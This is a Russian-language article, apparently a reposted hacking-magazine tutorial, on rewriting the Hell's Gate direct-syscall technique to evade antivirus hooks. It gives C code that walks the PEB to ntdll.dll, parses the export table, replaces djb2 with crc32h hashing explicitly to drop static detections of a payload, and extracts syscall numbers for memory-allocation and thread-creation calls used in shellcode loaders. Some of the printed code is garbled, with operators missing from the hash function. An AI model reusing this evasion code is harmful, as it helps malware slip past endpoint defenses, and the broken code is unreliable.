Категория > Новости > Врата ада. Переписываем Hell’s Gate и обходим антивирус - «Новости»

Врата ада. Переписываем Hell’s Gate и обходим антивирус - «Новости»


9-08-2023, 00:00. Автор: Smith
ва­риант обхо­да хуков в User Mode через переза­пись биб­лиоте­ки ntdll.dll. Теперь изу­чим еще один спо­соб обхо­да ловушек — через сис­колы.

Сис­колы (они же сис­темные вызовы) — очень боль­шая и инте­рес­ная тема. Я пос­тарал­ся вкрат­це опи­сать, что это и зачем они нуж­ны. Если ты захочешь более глу­боко пог­рузить­ся в тему, ниже най­дешь нес­коль­ко полез­ных ссы­лок.



www




  • Direct Syscalls: A journey from high to low


  • Direct Syscalls vs Indirect Syscalls


Итак, сис­кол мож­но счи­тать переход­ной ста­дией меж­ду поль­зователь­ским режимом (User Mode) и режимом ядра (Kernel Mode). Это как бы переход из одно­го мира сис­темы в дру­гой. Если еще про­ще, то сис­кол — прос­то обра­щение к ядру.


Вы­зовы ядра край­не важ­ны для кор­рек­тно­го фун­кци­они­рова­ния сис­темы. Нап­ример, имен­но заложен­ные в ядре фун­кции поз­воля­ют соз­давать фай­лы. Каж­дый сис­кол однознач­но иден­тифици­рует­ся по сво­ему номеру. Этот номер называ­ется по‑раз­ному, где‑то Syscall Id, где‑то Syscall Number, где‑то SSN — System Service Number. Номер сис­кола под­ска­зыва­ет ядру, что ему нуж­но делать. Он заносит­ся в регистр eax, пос­ле чего выпол­няет­ся инс­трук­ция syscall, которая осу­щест­вля­ет переход в режим ядра.


Как выг­лядит вызов сис­колов у раз­ных фун­кций

Проб­лема в том, что средс­тва защиты могут ста­вить хуки непос­редс­твен­но перед вызовом инс­трук­ции syscall. Нап­ример, как на сле­дующем скрин­шоте.


Врата ада. Переписываем Hell’s Gate и обходим антивирус - «Новости»
Инс­трук­ция jmp перед syscall

Это может сви­детель­ство­вать о наличии хука. Нич­то не меша­ет нам нап­рямую вызывать инс­трук­цию syscall из адресно­го прос­транс­тва сво­его про­цес­са, такая тех­ника называ­ется Direct Syscall. Мы даже можем обра­щать­ся к инс­трук­ции syscall, най­дя ее адрес в смап­ленной в наш про­цесс биб­лиоте­ке ntdll.dll (такая тех­ника называ­ется Indirect Syscall). Проб­лема лишь одна — нужен SSN. Без номера сис­кола, сох­ранен­ного в регис­тре eax, ничего не получит­ся.


 

Техника поиска SSN


SSN раз­лича­ется от сис­темы к сис­теме. Он зависит от вер­сии Windows. Есть отличная таб­лица акту­аль­ных сис­колов, но каж­дый раз хар­дко­дить SSN вооб­ще не вари­ант. Поэто­му дав­но при­дума­ны спо­собы динами­чес­ки дос­тавать номера сис­колов, а затем уже с эти­ми номера­ми выпол­нять Direct- или Indirect-вызовы.


Да­вай раз­берем один из самых извес­тных методов — Hell’s Gate, а затем перепи­шем его под Tartarus Gate.


Тех­ника обна­руже­ния SSN дос­таточ­но прос­та. Сна­чала, что­бы получить заг­ружен­ный в про­цесс адрес ntdll.dll, прог­рамма дос­тает адре­са TEB (Thread Environment Block), за ним PEB (Process Environment Block). А пос­ле извле­кает из таб­лицы PEB_LDR_DATA базовый адрес заг­рузки ntdll.dll.


PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
...
}

Прог­рамма, зная базовый адрес заг­рузки биб­лиоте­ки, получа­ет адрес EAT (Export Address Table). В этой таб­лице содер­жатся адре­са всех экспор­тиру­емых из биб­лиоте­ки фун­кций.


BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}

Пос­ле успешно­го получе­ния всех адре­сов идет ини­циали­зация спе­циаль­ной струк­туры — струк­туры VX_TABLE.


typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

Таб­лица VX_TABLE сос­тоит из дру­гих струк­тур VX_TABLE_ENTRY. Внут­ри них будут запол­нены эле­мен­ты pAddress, dwHash и wSystemCall, которые отве­чают соот­ветс­твен­но за адрес нуж­ной фун­кции, хеш от име­ни фун­кции (он пот­ребу­ется для API Hashing) и номера сис­темно­го вызова.


Для обна­руже­ния сис­кола исполь­зует­ся фун­кция GetVxTableEntry(), но перед этим пред­варитель­но ини­циали­зиру­ется эле­мент dwHash опи­сан­ной выше струк­туры. Хеш рас­счи­тыва­ется заранее. Для это­го исполь­зует­ся алго­ритм djb2, вынесен­ный в отдель­ную фун­кцию.


VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;

GetVxTableEntry() пар­сит EAT и обна­ружи­вает адрес нуж­ной фун­кции с помощью API Hashing.


if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
...

Пос­ле обна­руже­ния нуж­ной фун­кции ее адрес записы­вает­ся в таб­лицу, а затем ищет­ся номер сис­кола для этой фун­кции. Hell’s Gate ищет пат­терн, харак­терный для вызова сис­кола.


mov r10,rcx
mov rcx,<syscall number>
Так выг­лядит шаб­лон вызова сис­кола

Для это­го Hell’s Gate ска­ниру­ет память на наличие соот­ветс­тву­ющих опко­дов.


if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
Оп­коды

Ес­ли пат­терн най­ден, начина­ется выч­ленение номера сис­кола. Для наг­ляднос­ти возь­мем сис­кол с «длин­ным» номером, нап­ример 10F. В дизас­сем­бле­ре уви­дим инте­рес­ную кар­тину.


Как выг­лядит номер сис­кола в памяти

Инс­трук­ция, сох­раня­ющая номер сис­кола в регистр eax, выг­лядит вро­де бы нор­маль­но, но если мы пос­мотрим вни­матель­нее, то уви­дим, что номер сис­кола пред­став­лен как бы в перевер­нутом виде.


B8 0F010000
mov eax,10F # 0xb8 0x0F 0x01 0x00 0x00

Hell’s Gate зна­ет о таком поведе­нии сис­темы, поэто­му выч­леня­ет сис­колы с исполь­зовани­ем спе­циаль­ного алго­рит­ма.


BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;

Ес­ли мы пос­тавим бряк на пред­послед­нюю строч­ку кода, то уви­дим, что в high попада­ет «вер­хняя» часть, а в low — «ниж­няя».


Но­мер сис­кола
Что выч­леня­ет Hell’s Gate

Со­ответс­твен­но, если алго­ритм выч­леня­ет SSN 10F, то перемен­ные ини­циали­зиру­ются как 0x1 и 0xF.


Ини­циали­зация и high, и low

В wSystemmCall заносит­ся зна­чение high со сдви­гом вле­во на 8 байт. Это при­водит к получе­нию из 0000 0001 зна­чения 1 0000 0000. Сле­дующим шагом выпол­няет­ся побито­вая опе­рация ИЛИ со зна­чени­ем 0000 1111 (0xF в дво­ичной сис­теме счис­ления), в резуль­тате мы получа­ем 1 0000 1111. А это, в свою оче­редь, рав­но 10F. 10F как раз и есть номер сис­кола.


Под­счет номера сис­кола

До­пол­нитель­но прог­рамма про­веря­ет, не ушли ли мы в поис­ке номера сис­кола слиш­ком далеко. Для это­го так­же исполь­зуют­ся опко­ды.


Dead Codes 

Изменение алгоритма хеширования


Нач­нем с того, что сме­ним алго­ритм djb2 на какой‑нибудь дру­гой, нап­ример на crc32h. Это нуж­но, что­бы из нашего пей­лоада про­пали некото­рые ста­тик‑детек­ты, осно­ван­ные на хешах исполь­зуемых нами имен WinAPI-фун­кций. Для это­го соз­дадим фун­кцию, реали­зующую логику по хеширо­ванию.


...unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 1,g2 = g0 2, g3 = g0 3, g4 = g0 4, g5 = g0 5,g6 = (g0 6) ^ g0, g7 = ((g0 6) ^ g0) 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {crc = crc ^ byte;c = ((crc << 31 31) & g7) ^ ((crc << 30 31) & g6) ^((crc << 29 31) & g5) ^ ((crc << 28 31) & g4) ^((crc << 27 31) & g3) ^ ((crc << 26 31) & g2) ^((crc << 25 31) & g1) ^ ((crc << 24 31) & g0);crc = ((unsigned)crc 8) ^ c;i = i + 1;
}
return ~crc;}

Ко­неч­но, мож­но было прос­то поменять SEED-зна­чение и рас­счи­тыва­емый хеш в фун­кции djb2(), но мы все‑таки решили пол­ноцен­но перепи­сать инс­тру­мент, а не баловать­ся, меняя перемен­ные.


Hash- и SEED-зна­чения

Для удобс­тва вызова и авто­мати­чес­кого при­веде­ния к нуж­ному типу соз­дадим мак­рос.


#define HASH(API) crc32h((char*)API)

Так как мы пока нез­накомы с Compile-Time API Hashing, напишем прог­рамму для перес­чета хешей от нуж­ных нам фун­кций.


#include <stdio.h>#define SEED 0xEDB88320#define STR "_CRC32"unsigned int crc32h(char* message) {
int i, crc;
unsigned int byte, c;
const unsigned int g0 = SEED, g1 = g0 1,g2 = g0 2, g3 = g0 3, g4 = g0 4, g5 = g0 5,g6 = (g0 6) ^ g0, g7 = ((g0 6) ^ g0) 1;
i = 0;
crc = 0xFFFFFFFF;
while ((byte = message[i]) != 0) {crc = crc ^ byte;c = ((crc << 31 31) & g7) ^ ((crc << 30 31) & g6) ^((crc << 29 31) & g5) ^ ((crc << 28 31) & g4) ^((crc << 27 31) & g3) ^ ((crc << 26 31) & g2) ^((crc << 25 31) & g1) ^ ((crc << 24 31) & g0);crc = ((unsigned)crc 8) ^ c;i = i + 1;
}
return ~crc;}#define HASH(API) crc32h((char*)API)int main() {
printf("#define %s%s t0x%0.8X n", "NtAllocateVirtualMemory", STR, HASH("NtAllocateVirtualMemory"));
printf("#define %s%s t0x%0.8X n", "NtProtectVirtualMemory", STR, HASH("NtProtectVirtualMemory"));
printf("#define %s%s t0x%0.8X n", "NtCreateThreadEx", STR, HASH("NtCreateThreadEx"));
printf("#define %s%s t0x%0.8X n", "NtWaitForSingleObject", STR, HASH("NtWaitForSingleObject"));
return 0;}
Но­вые хеши 

Изменение GetVxTableEntry


Как ты пом­нишь, фун­кция GetVxTableEntry() исполь­зует­ся для получе­ния номера сис­кола. Проб­лема в том, что вызыва­ется она далеко не один раз, но при каж­дом вызове идет пов­торный рас­чет всех нуж­ных адре­сов, что ска­зыва­ется на эффектив­ности работы прог­раммы. Пред­лагаю завес­ти отдель­ную струк­туру NTDLL_CONFIG, внут­ри которой будут содер­жать­ся все эти дан­ные. Их дос­таточ­но ини­циали­зиро­вать лишь еди­нож­ды, а затем мож­но прос­то обра­щать­ся к ним.


typedef struct _NTDLL_CONFIG
{
PDWORDpdwArrayOfAddresses;
PDWORDpdwArrayOfNames;
PWORDpwArrayOfOrdinals;
DWORDdwNumberOfNames;
ULONG_PTR uModule;
}NTDLL_CONFIG, *PNTDLL_CONFIG;
// Глобальная переменная, которая будет все это хранить
NTDLL_CONFIG g_NtdllConf = { 0 };

Для ини­циали­зации дос­таточ­но один раз выз­вать фун­кцию InitNtdllConfigStructure().


BOOL InitNtdllConfigStructure() {
// Получение peb
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb || pPeb->OSMajorVersion != 0xA)
return FALSE;
// Получение ntdll.dll (первый элемент. Нулевой наша программа)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получение базового адреса загрузки ntdll.dll
ULONG_PTR uModule = (ULONG_PTR)(pLdr->DllBase);
if (!uModule)
return FALSE;
// Получение DOS-хедера
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// Получение NT-заголовков
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// Получение таблицы экспортов
PIMAGE_EXPORT_DIRECTORY pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!pImgExpDir)
return FALSE;
// Инициализация всех элементов у глобальной переменной
g_NtdllConf.uModule= uModule;
g_NtdllConf.dwNumberOfNames = pImgExpDir->NumberOfNames;
g_NtdllConf.pdwArrayOfNames = (PDWORD)(uModule + pImgExpDir->AddressOfNames);
g_NtdllConf.pdwArrayOfAddresses = (PDWORD)(uModule + pImgExpDir->AddressOfFunctions);
g_NtdllConf.pwArrayOfOrdinals = (PWORD)(uModule + pImgExpDir->AddressOfNameOrdinals);
// Проверка
if (!g_NtdllConf.uModule || !g_NtdllConf.dwNumberOfNames || !g_NtdllConf.pdwArrayOfNames || !g_NtdllConf.pdwArrayOfAddresses || !g_NtdllConf.pwArrayOfOrdinals)
return FALSE;
else
return TRUE;
}

Са­му фун­кцию GetVxTableEntry() сле­дует пере­име­новать в FetchNtSyscall(). Мы оста­вим все­го два парамет­ра: dwSysHash (хеш‑зна­чение от име­ни фун­кции, которую нуж­но засис­колить) и pNtSys — ука­затель на струк­туру NT_SYSCALL, которая будет содер­жать всю необ­ходимую информа­цию для осу­щест­вле­ния сис­кола.


typedef struct _NT_SYSCALL
{
DWORD dwSSn;
DWORD dwSyscallHash;
PVOID pSyscallAddress;
}NT_SYSCALL, *PNT_SYSCALL;

Фун­кцию InitNtdllConfigStructure() сле­дует вызывать из фун­кции FetchNtSyscall(). Пред­лагаю прос­то про­верять, ини­циали­зиро­ван ли эле­мент, содер­жащий базовый адрес заг­рузки ntdll.dll. Если нет, то вызыва­ем фун­кцию, если этот эле­мент уже име­ет какое‑то зна­чение, то вызов не тре­бует­ся. Алго­ритм для поис­ка сис­кола пока что не меня­ем.


BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
PCHAR pcFuncName = (PCHAR)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfNames[i]);
PVOID pFuncAddress = (PVOID)(g_NtdllConf.uModule + g_NtdllConf.pdwArrayOfAddresses[g_NtdllConf.pwArrayOfOrdinals[i]]);
if (HASH(pcFuncName) == dwSysHash) {
pNtSys->pSyscallAddress = pFuncAddress;
WORD cw = 0;
while (TRUE) {
...тут алгоритм поиска сискола...
}
cw++;
}
break;
}
}
// Если что-то не инициализировалось, то все плохо
if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL)
return TRUE;
else
return FALSE;
}
 

Изменение логики поиска сискола


Hell’s Gate — один из прос­тей­ших спо­собов нахож­дения сис­кола. Проб­лема в том, что он прос­то про­бега­ет по памяти в одном нап­равле­нии, пыта­ясь обна­ружить сис­кол. К сожале­нию, в сов­ремен­ных реалиях этот вари­ант, мяг­ко говоря, не самый рабочий. Что меша­ет анти­вирус­ному про­дук­ту внес­ти некото­рые изме­нения? Нап­ример, добавить лиш­нюю инс­трук­цию, что­бы сло­мать поиск Hell’s Gate.


Не­изме­нен­ную пос­ледова­тель­ность без проб­лем получит­ся обна­ружить, но если мы прос­то добавим лиш­ние инс­трук­ции? Напом­ню, как выг­лядит пат­терн, который ищет сис­кол.


0x4c 0x8b 0xd1 0xb8 ...0x00 0x00
Не­изме­нен­ный код

Перейти обратно к новости